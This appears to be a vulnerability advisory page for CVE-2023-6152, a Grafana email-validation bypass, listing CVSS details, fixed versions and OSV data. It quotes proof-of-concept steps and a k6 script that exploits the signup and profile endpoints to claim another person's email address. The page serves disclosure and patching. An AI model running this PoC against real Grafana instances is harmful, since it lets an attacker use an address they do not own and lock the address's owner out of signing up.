CVE-2023-6152: Github.com/grafana/grafana Email Validation Bypass And Preventing Vulnerability

MODERATE
Advisory Identifier: GHSA-3hv4-r2fm-h27f
CVSS 5.4
CWE-863
Published
Advisory Summary

CVE-2023-6152 is a MODERATE (CVSS 5.4) email validation bypass and preventing vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/grafana/grafana libraries in the Go ecosystem. The issue involves email validation bypass and preventing sign up from email's owner. Remediation is available by upgrading affected packages to version 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3.

CVE-2023-6152 at a Glance

CVE Identifier CVE-2023-6152
GHSA Identifier GHSA-3hv4-r2fm-h27f
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/grafana/grafana
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2023-6152

To remediate this vulnerability, upgrade all affected Github.com/grafana/grafana dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/grafana/grafana fixed: 9.5.16
Upgrade github.com/grafana/grafana to 9.5.16
github.com/grafana/grafana fixed: 10.0.11
Upgrade github.com/grafana/grafana to 10.0.11
github.com/grafana/grafana fixed: 10.1.7
Upgrade github.com/grafana/grafana to 10.1.7
github.com/grafana/grafana fixed: 10.2.4
Upgrade github.com/grafana/grafana to 10.2.4
github.com/grafana/grafana fixed: 10.3.3
Upgrade github.com/grafana/grafana to 10.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/grafana/grafana

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-6152, inspect your project dependencies for Github.com/grafana/grafana:

inspect dependencies for github.com/grafana/grafana

Analyze the terminal output to locate any version of Github.com/grafana/grafana in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.5.16), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/grafana/grafana, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Email validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in `/profile`. This can be used to prevent legitimate owner of the email address from signing up. Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated. ![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png) Here user a prevents owner of bar@example.com to signup. ### Details I don't know exact location but this is related to PUT /api/user handler. ### PoC Bypass email validation: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change email to bar@example.com * That's it, your using an email you don't own. Prevent email's owner from signing up: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com) * Signout. * Try to sign up with email [b@example.com](mailto:b@example.com) * Warning popup "User with same email address already exists" K6 script (with `verify_email_enabled` set to `false`): ```js import { check, group } from "k6" import http from "k6/http" export const options = { scenarios: { perVuIter: { executor: 'per-vu-iterations', vus: 1, iterations: 1 } } } const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000" export default function () { group("create user_a with email foo@example.com", () => { const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({ "email": "foo@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 }) }) group("change user_a login to bar@example.com", () => { const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({ "email": "foo@example.com", "login": "bar@example.com", // user_b email. }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 }) }) http.cookieJar().clear(GRAFANA_URL) group("create user_b with email bar@example.com", () => { const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({ "email": "bar@example.com", "username": "bar@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 // fail }) }) } ``` ### Impact Bypass email verification. Prevent legitimate owner from signing up.

CVE-2023-6152 Affected Github.com/grafana/grafana Versions

5 component(s)
Fixed Versions:
9.5.1610.0.1110.1.710.2.410.3.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/grafana/grafana
Go
≥ 2.5.0
< 9.5.16
9.5.16
github.com/grafana/grafana
Go
≥ 10.0.0
< 10.0.11
10.0.11
github.com/grafana/grafana
Go
≥ 10.1.0
< 10.1.7
10.1.7
github.com/grafana/grafana
Go
≥ 10.2.0
< 10.2.4
10.2.4
github.com/grafana/grafana
Go
≥ 10.3.0
< 10.3.3
10.3.3

References

Frequently Asked Questions

What is CVE-2023-6152?
CVE-2023-6152 is a security vulnerability in Github.com/grafana/grafana involving Email Validation Bypass And Preventing Sign Up From Email's Owner under CWE-863: Incorrect Authorization.
Which Github.com/grafana/grafana versions are affected?
Affected versions include releases prior to 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3 across affected packages: github.com/grafana/grafana.
What version fixes CVE-2023-6152?
Upgrading to 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/grafana/grafana affected?
Yes, github.com/grafana/grafana is affected in releases prior to 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3. Upgrade your dependency to 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3 or later.
What is the CVSS score of CVE-2023-6152?
CVE-2023-6152 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2023-6152?
CVE-2023-6152 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2023-6152?
Run the dependency tree command: 'inspect dependencies for github.com/grafana/grafana'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3hv4-r2fm-h27f",
  "modified" : "2025-02-18T22:29:35Z",
  "published" : "2024-02-13T22:25:10Z",
  "aliases" : [ "CVE-2023-6152" ],
  "summary" : "Email Validation Bypass And Preventing Sign Up From Email's Owner",
  "details" : "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: 'per-vu-iterations',\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () => {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.5.0"
      }, {
        "fixed" : "9.5.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.0.0"
      }, {
        "fixed" : "10.0.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.1.0"
      }, {
        "fixed" : "10.1.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.2.0"
      }, {
        "fixed" : "10.2.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.3.0"
      }, {
        "fixed" : "10.3.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-6152"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grafana/grafana"
  }, {
    "type" : "WEB",
    "url" : "https://grafana.com/security/security-advisories/cve-2023-6152"
  }, {
    "type" : "WEB",
    "url" : "https://security.netapp.com/advisory/ntap-20250214-0008"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-02-13T22:25:10Z",
    "nvd_published_at" : "2024-02-13T22:15:45Z"
  }
}